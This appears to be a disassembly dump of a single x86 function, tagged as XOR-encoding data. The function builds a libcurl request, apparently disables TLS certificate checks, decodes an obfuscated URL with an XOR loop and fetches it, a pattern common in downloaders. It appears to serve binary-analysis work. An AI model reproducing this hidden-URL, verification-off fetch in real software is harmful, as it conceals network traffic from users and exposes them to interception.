Function at 0x40c2c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456eae
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x58
mov eax, dword [0x46b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebx + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x64], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x64], 1
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov esi, eax
test esi, esi
je 0x40c5d2
push 0x3c
push 0xd
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0x453e90
push 0x4e2b
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push edi
push 0x2711
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 1
push 0x34
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0
push 0x40
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0
push 0x51
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
movups xmm0, xmmword [str.__AFD]
mov eax, dword [0x45e190]
add esp, 0x48
mov dword [ebp - 0x48], eax
xor ecx, ecx
cmp dword [0x52d844], 2
mov al, byte [0x45e194]
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x44], al
movq xmm0, qword [0x45e188]
movq qword [ebp - 0x50], xmm0
jl 0x40c504
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x40], xmm0
mov edx, dword [ebp - 0x40]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x60]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x60], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x5c]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x5c], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x40c400
cmp ecx, 0x1d
jge 0x40c52e
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x39
sub dl, al
add dl, 0x33
xor byte [ebp + ecx - 0x60], dl
inc ecx
cmp ecx, 0x1d
jl 0x40c504
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c550
sub ecx, edx
lea eax, [ebp - 0x60]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401b20
movups xmm0, xmmword [ebp - 0x40]
sub esp, 0x18
mov eax, esp
push 0x2712
movups xmmword [eax], xmm0
push esi
movq xmm0, qword [ebp - 0x30]
movq qword [eax + 0x10], xmm0
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
mov ecx, dword [ebp - 0x2c]
add esp, 0x20
cmp ecx, 0xf
jbe 0x40c5c1
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c5b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c5b7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00455883
add esp, 8
push esi
call dword [sym.imp.libcurl.dll_curl_easy_perform]
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00455723
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4